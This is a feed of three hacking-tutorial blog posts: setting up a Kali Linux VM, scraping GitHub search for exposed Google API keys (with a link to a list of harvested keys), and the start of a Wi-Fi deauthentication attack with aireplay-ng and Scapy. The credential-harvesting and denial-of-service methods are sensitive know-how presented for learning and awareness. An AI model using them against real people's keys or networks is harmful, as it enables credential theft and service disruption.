For years, <a href="http://www.backtrack-linux.org/">Backtrack Linux</a>, a penetration testing suite from Offensive Security has been the standard operating system for security testing professionals. However, Offensive Security has <a href="http://www.backtrack-linux.org/backtrack/kali-linux-has-been-released/">just released</a> a new distribution based on Backtrack called <a href="http://www.kali.org/">Kali Linux</a> which seems to offer <a href="http://www.kali.org/news/kali-linux-whats-new/">quite a few improvements</a>. In a <a href="http://raidersec.blogspot.com/2012/02/setting-up-security-lab-with-virtualbox.html">previous post</a>, I showed how to create a Backtrack virtual machine using the open-source virtualization software VirtualBox. I felt it would be helpful to create a similar post showing how to create a Kali Linux virtual machine. The process will be nearly identical, but hopefully will still serve as a useful reference to some. With that being said, let's get started.<br />
<a name='more'></a><br />
<span style="font-size: large;">Creating the Virtual Machine</span><br />
<br />
After getting both <a href="http://www.kali.org/downloads/">Kali Linux installation media</a>, as well as downloading and installing <a href="https://www.virtualbox.org/">VirtualBox</a>, the first thing we will want to do is to open up VirtualBox and create a "New" VM (disregard the existing VMs on my system).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMlNuYV9yOuTvHfopaA8N6O6jJ6cmx8dL5JAMyXyYm46zANFXlMlFtUDF3qUC6sfZwhmfpx0dJAoajfznfgnf4E3I370WsqghBb1WJAO1A7DGPrcxVpKAeA4rFGcvtewmgRFfU55bqIA/s1600/step0.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMlNuYV9yOuTvHfopaA8N6O6jJ6cmx8dL5JAMyXyYm46zANFXlMlFtUDF3qUC6sfZwhmfpx0dJAoajfznfgnf4E3I370WsqghBb1WJAO1A7DGPrcxVpKAeA4rFGcvtewmgRFfU55bqIA/s400/step0.PNG" style="border-color: transparent;" width="400" /></a></div>
<br />
Then, we will name the operating system. In this case, I will simply name it "kali". After selecting that we are intending to install Debian on the machine (since we know that Kali is using Debian), we will click "Next."<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPlP31RCv75CJQKxMAIvZAznwMyF5WdmSQk36Rkmdj0H9P3rB1ohwDWhbWGrnYNTZ3uJ2-JgiseZ205eOU8Iu5qqG-WUCFR8u4hjhTqnux6ziBrE_LND2XL4_mY11QHrN5oPzZ3IjeeA/s1600/step1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPlP31RCv75CJQKxMAIvZAznwMyF5WdmSQk36Rkmdj0H9P3rB1ohwDWhbWGrnYNTZ3uJ2-JgiseZ205eOU8Iu5qqG-WUCFR8u4hjhTqnux6ziBrE_LND2XL4_mY11QHrN5oPzZ3IjeeA/s400/step1.PNG" style="border-color: transparent;" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
After naming the VM, we need to select the amount of memory (RAM) that we will allocate to it. Since all these virtual machines are running on my laptop, I just start out with 512 MB and move up as needed. Then we will click "Next".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-105WW4IAieSL_tcEWXIACyimUlJxsa7jWM5nARmw01lLdhp3wpCxyZ86_DmFBT-8iX9mw5gljABcNjc4ACJfasLxuSaAYw-i06mwGs0Z53a9Itk05ovB1V2G8xxTBBT3GNEP9n16Aw/s1600/step2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-105WW4IAieSL_tcEWXIACyimUlJxsa7jWM5nARmw01lLdhp3wpCxyZ86_DmFBT-8iX9mw5gljABcNjc4ACJfasLxuSaAYw-i06mwGs0Z53a9Itk05ovB1V2G8xxTBBT3GNEP9n16Aw/s400/step2.PNG" style="border-color: transparent;" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Next, we need to create the virtual hard drive for the VM. I usually just select the default option to "Create a virtual hard drive now" to help keep the VM's separate. We then click "Create."</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWL0R8By2y0ypZkO31dWEn-2CWjiAJl2cn1HuSBv7rcIqWsdxJaUVt_hyHa4CpJlf_psle6AqsRO0Wrk2r6unojrcufg-WPt6nRoUHNTZ_dueJjn0qOzqEku1cCRmVfb-UzTMSBMx-CQ/s1600/step3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWL0R8By2y0ypZkO31dWEn-2CWjiAJl2cn1HuSBv7rcIqWsdxJaUVt_hyHa4CpJlf_psle6AqsRO0Wrk2r6unojrcufg-WPt6nRoUHNTZ_dueJjn0qOzqEku1cCRmVfb-UzTMSBMx-CQ/s400/step3.PNG" style="border-color: transparent;" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Once we have selected the type of hard drive we want, we should select the <i>type</i> of hard drive format we want for our virtual machine. As explained in the previous post, each of these has their purposes, but since I stick to VirtualBox, I just create the hard drive as a VDI. Then, we'll click "Next".</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisIqHPRDdFMoVR4pAKFieATt5vmp9Gvli92xMQrwC4kSxaD2WSwvVQ5liQUBJKP9ii35W2-0PDthp51QUCxj91F3xABKT1UsPcJFIDMeoaq3tZQUhoT-9qmbvi6ncfO1e34AX5y64ixg/s1600/step4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisIqHPRDdFMoVR4pAKFieATt5vmp9Gvli92xMQrwC4kSxaD2WSwvVQ5liQUBJKP9ii35W2-0PDthp51QUCxj91F3xABKT1UsPcJFIDMeoaq3tZQUhoT-9qmbvi6ncfO1e34AX5y64ixg/s400/step4.PNG" style="border-color: transparent;" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
To save space where possible, I select to "Dynamically allocate" space on the hard drive as needed. Then, click "Next".</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjhJvltShruCgCcAufARHh8iSuxDNs9tlvAlQwk06i7won6GA2oUaJ0YRM9bfF8Z1KftGto5N_6PdACGJ8pDhghxsStqMqF3z2TvmaTtstWCoVf1vcI_EesIcHqDBfVhuTq08xHai-VA/s1600/step5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjhJvltShruCgCcAufARHh8iSuxDNs9tlvAlQwk06i7won6GA2oUaJ0YRM9bfF8Z1KftGto5N_6PdACGJ8pDhghxsStqMqF3z2TvmaTtstWCoVf1vcI_EesIcHqDBfVhuTq08xHai-VA/s400/step5.PNG" style="border-color: transparent;" width="400" /></a></div>
<br />
Finally, we need to select how much space we want to allocate to the VM. This will largely depend on personal preference, but I usually start with the default 8GB and allocate more as needed. Then, we click "Create" to create our VM.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6xhrTjkLi0q7s-s1QY1bZkB2yUOKfrCVFj_ZW9-laD49s_rw5yRvjSI0Rw3drYTQFJp18_Vx-T3EEqNycALPG-dF2oI2cLr8_gvueN5ytS1SomS9rYmNqZ_ZPHtibUcnDKbXz198p7A/s1600/step6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6xhrTjkLi0q7s-s1QY1bZkB2yUOKfrCVFj_ZW9-laD49s_rw5yRvjSI0Rw3drYTQFJp18_Vx-T3EEqNycALPG-dF2oI2cLr8_gvueN5ytS1SomS9rYmNqZ_ZPHtibUcnDKbXz198p7A/s400/step6.PNG" style="border-color: transparent;" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
The VM is now listed in our homescreen, so let's double-click it to boot it up. From here, we need to select the installation media we want to use. We will browse out to the ISO file we downloaded earlier. Then, we'll click "Start" to boot from the ISO.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE4-Zxyr09RgTaIXLfvfhr5ASLtQw_kCqRbHe-lC4tF8r0aZy5Zn0tCAram4GhY2Fdvi4Qqd4wfFTEjg5fMOEOhfbCmi5sFJgU55SF4vVMBzqgphi5m7ztsKyaMEWwIkiCAxpc706FvA/s1600/step7.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="327" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE4-Zxyr09RgTaIXLfvfhr5ASLtQw_kCqRbHe-lC4tF8r0aZy5Zn0tCAram4GhY2Fdvi4Qqd4wfFTEjg5fMOEOhfbCmi5sFJgU55SF4vVMBzqgphi5m7ztsKyaMEWwIkiCAxpc706FvA/s400/step7.PNG" style="border-color: transparent;" width="400" /></a></div>
<br />
After we land in the boot screen, we want to install the OS to the VM so that we won't need access to the ISO every time we want to use it. So, we will select "Install."<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik-4wZG8eDqB97DUzjS5hiO7mgg3Z3Y124KZut4n1Xq2dns5mub_HWC8krX_PsGUhaxDtjYsKlrMbgoQbtIUxKiDWlK9xXbjtI1DxZcL__2a8QTAZdgWNrKSMZ-FFRgEYBDzEGz3tu-w/s1600/step8.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik-4wZG8eDqB97DUzjS5hiO7mgg3Z3Y124KZut4n1Xq2dns5mub_HWC8krX_PsGUhaxDtjYsKlrMbgoQbtIUxKiDWlK9xXbjtI1DxZcL__2a8QTAZdgWNrKSMZ-FFRgEYBDzEGz3tu-w/s400/step8.PNG" style="border-color: transparent;" width="400" /></a></div>
<br />
<br />
Next, we select our language, country, and keymap as appropriate. Then, we will set a hostname for our system. In this example, I just used "kali."<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJPT0WSPC4T2cqC8-qdmDNB7zw-5Jmbd08d1jNYzZKx57TqDpypJSPG-O8-AGSv7h3ES0wBcIGjv7gMfPaF9lNpAPKgoy21c5SGTajSGZkJrhQp3vNTyWEA0CthL9us2v6Vf6NpPj53A/s1600/step10.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJPT0WSPC4T2cqC8-qdmDNB7zw-5Jmbd08d1jNYzZKx57TqDpypJSPG-O8-AGSv7h3ES0wBcIGjv7gMfPaF9lNpAPKgoy21c5SGTajSGZkJrhQp3vNTyWEA0CthL9us2v6Vf6NpPj53A/s400/step10.PNG" style="border-color: transparent;" width="400" /></a></div>
<br />
Then, if you have a specific domain name to configure you can do so. Otherwise, just hit "Continue". Next, we need to set a root password. Choose whatever you like, but I will use the Kali default "toor".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3oYAAn9t6uc2wyw4xsf0sFXwlPd5mSe_jKTjpSqNvxmdqiT0f79DldXnTxMNBd95iHFqwzaBKKs1BvHcWBk9J1ZAo1LP-z-lgWZk590U-Py-n1ZzjdCquq1a4SYiF0mvHgCxi9S3OcQ/s1600/step11.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="333" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3oYAAn9t6uc2wyw4xsf0sFXwlPd5mSe_jKTjpSqNvxmdqiT0f79DldXnTxMNBd95iHFqwzaBKKs1BvHcWBk9J1ZAo1LP-z-lgWZk590U-Py-n1ZzjdCquq1a4SYiF0mvHgCxi9S3OcQ/s400/step11.PNG" style="border-color: transparent;" width="400" /></a></div>
<br />
After confirming this password, and selecting our time zone, we need to partition our virtual hard drive to install the OS. Since we created a separate VDI for this VM, we can select to use the entire disk.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHfjfBNCCFNpxOQM4QS0Q3bF_AbcBui1ke1Zvwh-6cXx-a4v5Zdd_ocVZOWhChu3nJ7eKZJA633EgJzFHWgxQdUlX6znyWiq696KTjwwhGilSboNFNP_db54hiAbGDhihyAnPF-mIcbg/s1600/step12.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="331" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHfjfBNCCFNpxOQM4QS0Q3bF_AbcBui1ke1Zvwh-6cXx-a4v5Zdd_ocVZOWhChu3nJ7eKZJA633EgJzFHWgxQdUlX6znyWiq696KTjwwhGilSboNFNP_db54hiAbGDhihyAnPF-mIcbg/s400/step12.PNG" style="border-color: transparent;" width="400" /></a></div>
<br />
After confirming the disk to partition (the only disk available), and selecting how we want to partition the filesystem (for my example I only created one partition, but feel free to change as you would like), the installer will begin writing the changes to the disk and installing the OS.<br />
<br />
Once everything is installed, there is one more step to do before we can boot into the system. We need to enable PAE/NX for the VM. Otherwise, you may get a fatal error when attempting to boot into Kali Linux. To do this, highlight the VM in the homescreen, and click "Settings". From here, navigate to the "System" submenu and go to the "Processor" tab. You will see the option to "Enable PAE/NX". Check this box to enable it.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEyFgUKCUlyRQ0LisJzbieDJbxshSJcdYNyAyye3O7F37GsEOKQCRH_PpWW2mhrLPba5FnzuxGqS-RL_2fGi-YzLyMVlDSTIGj5ax_EZRd5c3N1_-FYppvqlSauNRcaTAfdO03j0HC3g/s1600/step13.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="293" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEyFgUKCUlyRQ0LisJzbieDJbxshSJcdYNyAyye3O7F37GsEOKQCRH_PpWW2mhrLPba5FnzuxGqS-RL_2fGi-YzLyMVlDSTIGj5ax_EZRd5c3N1_-FYppvqlSauNRcaTAfdO03j0HC3g/s400/step13.PNG" width="400" /></a></div>
<br />
After doing this, we can boot into our system. If everything goes well, we should be presented with the following login screen:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRDg_2YT44A1xwOEgDqrWuDXUaOOqTvz4S6LzIzADlXHMcXIoQ_1-wj18uBpW2Scnga0PsLfAAXjBlYtwUf-4BbDkpybiZMbxLhxcb_faWcpZZVQSNB4aWregr-Xe4bncuXN6hFXXTmQ/s1600/step14.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRDg_2YT44A1xwOEgDqrWuDXUaOOqTvz4S6LzIzADlXHMcXIoQ_1-wj18uBpW2Scnga0PsLfAAXjBlYtwUf-4BbDkpybiZMbxLhxcb_faWcpZZVQSNB4aWregr-Xe4bncuXN6hFXXTmQ/s400/step14.PNG" width="400" /></a></div>
<br />
From here, just login as "root" using the password set earlier and you're good to go! Enjoy using Kali Linux, and a big thanks goes out to the guys and gals from Offensive Security who work hard to make the best distro possible.<br />
<br />
While this was a very basic post, as always, comment below with any questions or comments!<br />
<br />
<a href="http://www.linkedin.com/profile/view?id=193041134" target="_blank">-Jordan</a>Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com31tag:blogger.com,1999:blog-33242194251147061.post-41580130172409683552013-03-04T01:23:00.002-06:002013-03-18T10:05:17.475-05:00Automatically Enumerating Google API Keys from Github Search<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh46gtQPCcMKgXMJXo_d-SxRC3Ot-FFRMHlqIXDySYZmEfU1Vsyt-QVKjKl-lYNKeqThf6Ehfs256vIogEw3XH61EZG0XoPH7OAlX-PhHpsGfqYQhbOmeeFNpG5_D5DFB4ycWTirOPjdQ/s1600/github_logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh46gtQPCcMKgXMJXo_d-SxRC3Ot-FFRMHlqIXDySYZmEfU1Vsyt-QVKjKl-lYNKeqThf6Ehfs256vIogEw3XH61EZG0XoPH7OAlX-PhHpsGfqYQhbOmeeFNpG5_D5DFB4ycWTirOPjdQ/s1600/github_logo.png" style="border-color: transparent;" /></a></div>
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Introduction</span><br />
<br />
Github recently introduced its <a href="https://github.com/search">new and improved search feature</a>. While the improvements make search for content much easier, it has certainly introduced its <a href="http://www.zdnet.com/github-search-shuts-down-after-users-private-keys-exposed-7000010325/">share of problems</a> as well. This is just another example.<br />
<br />
<a name='more'></a><br />
<span style="font-size: large;">Searching Github Manually</span><br />
<br />
When I first acquired a Google API key, I quickly noticed that many (if not all) keys start with the same 4+ characters: "AIza". These keys can give access to any API services the owner of the key has activated. While they are not incredibly secret (I have seen many used in Javascript for the Maps API), and it's easy to replace them, they still aren't things the owners would likely want to be harvested. When the new Github search was introduced and the related private files started to be found, I decided to see if any developers had - intentionally or accidentally - left them in their code.<br />
<br />
When we first visit the search page and look for "AIza", we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2G0KPxrH6JsOXImPvSZRLBwuV8r9gaJyrg0SIuK58BX-6JWsCvwid-CiS8ZtgHLpHDl7ooZXEQlDjB0OW7R0E4CuvYvIxi-HiqiC6RB_Lnifm1qfZPJexDP7qXwwsX0V15j_VQoR1GQ/s1600/search_results.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="396" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2G0KPxrH6JsOXImPvSZRLBwuV8r9gaJyrg0SIuK58BX-6JWsCvwid-CiS8ZtgHLpHDl7ooZXEQlDjB0OW7R0E4CuvYvIxi-HiqiC6RB_Lnifm1qfZPJexDP7qXwwsX0V15j_VQoR1GQ/s640/search_results.PNG" width="640" /></a></div>
<br />
<br />
Nice - over 14,000 results. While we can immediately start thinking about ways to automate the process of harvesting these, we quickly run into an issue: Github only allows us to search 99 pages, each with 10 results. This only allows us to get less than 1,000 results.<br />
<br />
While I haven't yet found a way to obtain all the results (comment below if you know of a way - I'd love to hear it!), my current solution to this is as follows:<br />
<br />
<ul>
<li>Github allows us to sort by both "Best Match" and "Last Indexed". I've found that for a large number of results, they produce different output.</li>
<li>We can search through the overall results (all 99 pages) using both of these sorting methods. Then, we can also search using individual languages (notice them on the left side of the image). By searching these, we get a maximum of 99 pages for each language, and we can use both sorting methods again. </li>
</ul>
<div>
With this being the case, we can now surpass our limit of under 1,000 results. While we still can't always get every result, let's automate the harvesting process we have so far and see what we find.</div>
<div>
<br /></div>
<div>
<span style="font-size: large;">Automating the Search</span></div>
<div>
</div>
<div>
For automating this search, we'll employ a few basic web scraping techniques, and the following <i>fantastic</i> Python modules:</div>
<div>
<ul>
<li><a href="http://www.crummy.com/software/BeautifulSoup/">BeautifulSoup4</a> for HTML parsing (This post is using the default BeautifulSoup HTML parser. If you have lxml installed (recommended), BeautifulSoup will use it by default)</li>
<li><a href="http://docs.python-requests.org/en/latest/">Requests</a> for making our, well, requests to Github</li>
<li>re for regex matching</li>
</ul>
<div>
For the sake of this post, I'll step through the methodology used to harvest information like this. First, we can use requests to get the source of a webpage as follows:</div>
</div>
<div>
<br /></div>
<div>
<script src="https://gist.github.com/jordan-wright/1319365133def2677423.js?file=requests_example.py"></script>
</div>
<div>
<br /></div>
<div>
Now that we have the raw source, we can create a BeautifulSoup object with it:<br />
<br />
<script src="https://gist.github.com/jordan-wright/1319365133def2677423.js?file=bs4_example.py"></script>
<br />
Now that we have an easily parseable object, what should we look for? Let's try to find a unique attribute about the results that would allow us to quickly search for it an find the text we're looking for. I usually do this by right-clicking the text in question, clicking "Inspect Element" (this is Chrome), and then seeing what kind of HTML element it is embedded in. Doing this, we see the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9Mh40C7p0-SoK6SL8NfJGlxXavpXJWk2TLOuTSGH_LXCUboh2bKFG1XzP0-rUNDrhcjpUHicT5R-0g40ARGNZncA8izpkwH2bNeMsKMz5JbHUWyEZzuh438p1aCITdYqG51d7kh6bEQ/s1600/view_element.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="376" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9Mh40C7p0-SoK6SL8NfJGlxXavpXJWk2TLOuTSGH_LXCUboh2bKFG1XzP0-rUNDrhcjpUHicT5R-0g40ARGNZncA8izpkwH2bNeMsKMz5JbHUWyEZzuh438p1aCITdYqG51d7kh6bEQ/s640/view_element.PNG" width="640" /></a></div>
<br />
<br />
We can see here that the result text is within a 'div' with a class of 'line', so it's a safe bet to try and extract all elements that match this criteria.<br />
<br />
In general, creating a BeautifulSoup object gives us the ability to quickly parse out a list of specific HTML elements we want using the syntax soup.find_all(element_tag, { attribute : value }). However, since searching for an element by class is such a common need, BeautifulSoup makes it easier for us by letting us search with the syntax soup.find_all(element_tag, class_name). Let's extract these values:<br />
<br />
<script src="https://gist.github.com/jordan-wright/1319365133def2677423.js?file=get_line_elements.py"></script>
<br />
Great, making progress! The next thing we want to do is extract just the raw text from these results. BeautifulSoup makes it really easy for us to do this by allowing us to call result.text for each result in our list. Let's give that a shot.<br />
<br />
<script src="https://gist.github.com/jordan-wright/1319365133def2677423.js?file=print_results.py"></script>
<br />
The last thing we need to do is create a regex to find the matches. Since we know each expression begins with "AIza" and can see that they are each 39 characters long, the following expression should serve our purposes nicely:<br />
<br />
<script src="https://gist.github.com/jordan-wright/1319365133def2677423.js?file=build_regex.py"></script>
Just like that, we have our keys. The last thing we need to do to make our script a bit more efficient is to get the number of pages for each language. We could do this two ways:<br />
<br />
<ul>
<li>Navigating to each language page and getting the maximum number of pages</li>
<li>From our starting page, pull the number of results for each language and divide by 10</li>
</ul>
<div>
<br /></div>
<div>
Since it will result in less requests if we go the second route, let's pursue that option. From our page, we can see the following HTML structure of the side panel:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvOwCaLYJTPTrvPwq1xZnvDpontNsSy_4AUvt138kiQ9J15S8ZQ6ycNqVCiwv_PsO9vwRHHO-DJr5ifSeh3FQ5sJll97h-6zlEIwrEXXfHUY-3K2BOPnpPGNjyucNb-K1QCi5BR99BlA/s1600/number_element.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="457" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvOwCaLYJTPTrvPwq1xZnvDpontNsSy_4AUvt138kiQ9J15S8ZQ6ycNqVCiwv_PsO9vwRHHO-DJr5ifSeh3FQ5sJll97h-6zlEIwrEXXfHUY-3K2BOPnpPGNjyucNb-K1QCi5BR99BlA/s640/number_element.PNG" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
So it looks like want both the URL to use, and the text from the "span" tag with the "count" class. We can easily retrieve both of these with BeautifulSoup:</div>
<script src="https://gist.github.com/jordan-wright/1319365133def2677423.js?file=get_pages.txt"></script>
<br />
Now that we have the general idea as well as the data we need, here's the entire script, which checks for duplicates, runs through all iterations listed in the beginning of this post, and writes the results to 'google_keys.txt'.<br />
<br />
<script src="https://gist.github.com/jordan-wright/1319365133def2677423.js?file=get_keys.py"></script>
Since it looks like (at the time of this writing) I'm running into issues having Github return results for each specific language (no matter the search query), here is a small subset of the results found (approx. 1,000 out of 4,086 enumerated keys) when developing the tool: <a href="http://pastebin.com/XEe1WuvG">http://pastebin.com/XEe1WuvG</a>. Of course, some authors have intentionally added obfuscation to their keys (such as replacing characters with 'XXXX', etc.), however this should be a reminder to always sanitize data before publishing it to a public repository!<br />
<br />
As always, let me know if you have any questions!<br />
<br />
-Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com3tag:blogger.com,1999:blog-33242194251147061.post-42399555044663297802013-01-26T02:27:00.000-06:002013-03-18T10:04:50.007-05:00Wireless "Deauth" Attack using Aireplay-ng, Python, and Scapy<span style="font-size: large;">Introduction</span><br />
<div>
</div>
<div>
<br />
A couple of days ago I received my order of a nifty <a href="http://www.amazon.com/Alfa-AWUS036H-Upgraded-Wireless-Long-Rang/dp/B000QYGNKQ" target="_blank">Alfa AWUS036H</a> and decided it'd be a perfect time to explore a few common wireless attacks. This post will explore how to perform a common "Deauthentication Attack" both the "easy" way using a fantastic tool called <a href="http://www.aircrack-ng.org/doku.php?id=aireplay-ng">aireplay-ng</a>, as well as writing our own tool in Python to perform the attack for us using the extremely powerful Scapy module. In this post I won't be going into detail about basic wireless mechanisms, but if you'd like a very comprehensive guide to understanding the topic, I really recommend the <a href="http://www.securitytube.net/groups?operation=view&groupId=9" target="_blank">Wireless LAN Security and Penetration Testing Megaprimer</a> on SecurityTube. With that said, let's deauth some clients.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE32d8LIt2hbEQOMHwMYrbOmmZzmcACMUS027H39dVUuoa69b5c9tsnlHuNLyVZjiIHcUxcmXeu8mlCvarucLA7gfUhWTYKODd-xShHlKbBN95Kz3d3vppMeStN0WMB93WZvbE7Leetg/s1600/alfa.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE32d8LIt2hbEQOMHwMYrbOmmZzmcACMUS027H39dVUuoa69b5c9tsnlHuNLyVZjiIHcUxcmXeu8mlCvarucLA7gfUhWTYKODd-xShHlKbBN95Kz3d3vppMeStN0WMB93WZvbE7Leetg/s1600/alfa.jpg" /></a></div>
<div style="text-align: center;">
<span style="font-size: x-small;">Alfa AWUS036H</span></div>
<a name='more'></a><span style="font-size: large;">What are Deauth Attacks Used For?</span></div>
<div>
</div>
<div>
Before we start performing deauth attacks, let's first get an understanding of what they can be used for. Obviously, the primary thing they can do is force stations (clients) off of a given network, causing a Denial of Service (DoS) attack. We can also use deauth attacks to reveal otherwise hidden SSIDs (not included in Beacon frames) by disconnecting the clients, and then monitoring for Probe Requests which <i>always</i> contain the SSID. </div>
<div>
<br /></div>
<div>
<span style="font-size: large;">Performing a Deauth Attack the "Easy" Way</span></div>
<div>
</div>
<div>
Let's start by performing a deauth attack the "easy" way using tools already available in Backtrack. The first step will be to put our Alfa wireless card in "<a href="https://en.wikipedia.org/wiki/Monitor_mode" target="_blank">monitor mode</a>". This will allow us to monitor all traffic detected without having to first associate with an access point. This is important as it will allow us to deauth clients on a wireless network without being authenticated to it. We will use the tool "<a href="http://www.aircrack-ng.org/doku.php?id=airmon-ng" target="_blank">airmon-ng</a>" to create a monitor mode interface as follows:<br />
<br />
<script src="https://gist.github.com/jordan-wright/4576966.js?file=create_mon_interface"></script>
After we've created our monitor mode interface, we can use the tool "<a href="http://www.aircrack-ng.org/doku.php?id=airodump-ng" target="_blank">airodump-ng</a>" to scan across different channels to enumerate both access points and their associated BSSID's as well as client stations, their MAC addresses, and any known SSIDs (found by monitoring Probe Requests).<br />
<br />
<script src="https://gist.github.com/jordan-wright/4576966.js?file=airodump-ng"></script>
Let's target the "raidersec" network. First, we see that the network is on channel 11, so we need to set both our wlan0 and mon0 interfaces to use this channel using the "iwconfig" command. Then, after grabbing the BSSID from airodump-ng (note: we could just use the ESSID, however we're trying to be comprehensive), we can use the tool "aireplay-ng" to inject deauthentication packets into the network by spoofing the BSSID of the access point. This will cause clients to disconnect from the network, and staying offline until we stop sending out deauth packets. Here's a sample session (you can't see it, but this does indeed disconnect all my devices connected to the "raidersec" network).<br />
<br />
<script src="https://gist.github.com/jordan-wright/4576966.js?file=aireplay-ng"></script>
<span style="font-size: large;">Leveraging Scapy to Perform a Deauth Attack</span><br />
<br />
Scapy is a very powerful Python module which allows us to sniff, create, manipulate, filter, and display network traffic down to the individual packet. You can find the basics of how to use Scapy <a href="http://www.tech-juice.org/2011/06/18/packet-crafting-on-linux-using-scapy/#Scapy_Basics">here</a>. We can leverage this functionality to create a tool which performs the same attack seen above. Let's see how we can implement this.<br />
<br />
First, let's create a script which will print the BSSID and ESSID of all detected wireless networks. We will use the os module to perform channel hopping so that we can enumerate networks on multiple channels (note: this functionality was first seen on <a href="http://www.thesprawl.org/projects/airoscapy/">airoscapy.py</a>). We will store all this information in a dictionary which associates the BSSID and channel with the found ESSID.<br />
